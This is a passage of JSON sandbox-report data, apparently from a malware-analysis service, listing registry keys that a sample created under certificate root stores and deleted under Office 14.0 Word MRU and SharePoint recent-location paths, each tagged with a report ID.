{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\MAX DISPLAY\\MAX DISPLAY","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 1\\ITEM 1","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 2\\ITEM 2","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 3\\ITEM 3","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 4\\ITEM 4","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 5\\ITEM 5","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 6\\ITEM 6","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 7\\ITEM 7","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 8\\ITEM 8","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 9\\ITEM 9","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 10\\ITEM 10","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 11\\ITEM 11","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 12\\ITEM 12","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 13\\ITEM 13","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 14\\ITEM 14","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 15\\ITEM 15","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 16\\ITEM 16","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 17\\ITEM 17","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 18\\ITEM 18","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 19\\ITEM 19","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 20\\ITEM 20","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 21\\ITEM 21","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 22\\ITEM 22","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 23\\ITEM 23","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 24\\ITEM 24","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 25\\ITEM 25","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 26\\ITEM 26","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 27\\ITEM 27","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 28\\ITEM 28","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 29\\ITEM 29","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 30\\ITEM 30","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 31\\ITEM 31","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 32\\ITEM 32","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 33\\ITEM 33","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 34\\ITEM 34","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 35\\ITEM 35","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 36\\ITEM 36","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 37\\ITEM 37","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 38\\ITEM 38","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 39\\ITEM 39","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 40\\ITEM 40","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 41\\ITEM 41","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 42\\ITEM 42","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 43\\ITEM 43","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 44\\ITEM 44","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 45\\ITEM 45","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 46\\ITEM 46","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 47\\ITEM 47","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 48\\ITEM 48","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 49\\ITEM 49","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 50\\ITEM 50","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 1\\SITE 1","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 2\\SITE 2","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 3\\SITE 3","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 4\\SITE 4","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 5\\SITE 5","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 6\\SITE 6","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 7\\SITE 7","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 8\\SITE 8","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 9\\SITE 9","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 10\\SITE 10","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 11\\SITE 11","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 12\\SITE 12","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 13\\SITE 13","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 14\\SITE 14","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 15\\SITE 15","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 16\\SITE 16","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 17\\SITE 17","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 18\\SITE 18","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 19\\SITE 19","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 20\\SITE 20","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\MAX DISPLAY\\MAX DISPLAY","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 1\\ITEM 1","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 2\\ITEM 2","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 3\\ITEM 3","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 4\\ITEM 4","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 5\\ITEM 5","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 6\\ITEM 6","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 7\\ITEM 7","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 8\\ITEM 8","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 9\\ITEM 9","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 10\\ITEM 10","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 11\\ITEM 11","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 12\\ITEM 12","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 13\\ITEM 13","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 14\\ITEM 14","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 15\\ITEM 15","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 16\\ITEM 16","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 17\\ITEM 17","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 18\\ITEM 18","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 19\\ITEM 19","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 20\\ITEM 20","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 21\\ITEM 21","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 22\\ITEM 22","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 23\\ITEM 23","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 24\\ITEM 24","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 25\\ITEM 25","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 26\\ITEM 26","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 27\\ITEM 27","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 28\\ITEM 28","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 29\\ITEM 29","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 30\\ITEM 30","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 31\\ITEM 31","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 32\\ITEM 32","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 33\\ITEM 33","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 34\\ITEM 34","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 35\\ITEM 35","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 36\\ITEM 36","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 37\\ITEM 37","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 38\\ITEM 38","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 39\\ITEM 39","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 40\\ITEM 40","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 41\\ITEM 41","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 42\\ITEM 42","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 43\\ITEM 43","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 44\\ITEM 44","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 45\\ITEM 45","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 46\\ITEM 46","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 47\\ITEM 47","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 48\\ITEM 48","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 49\\ITEM 49","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 50\\ITEM 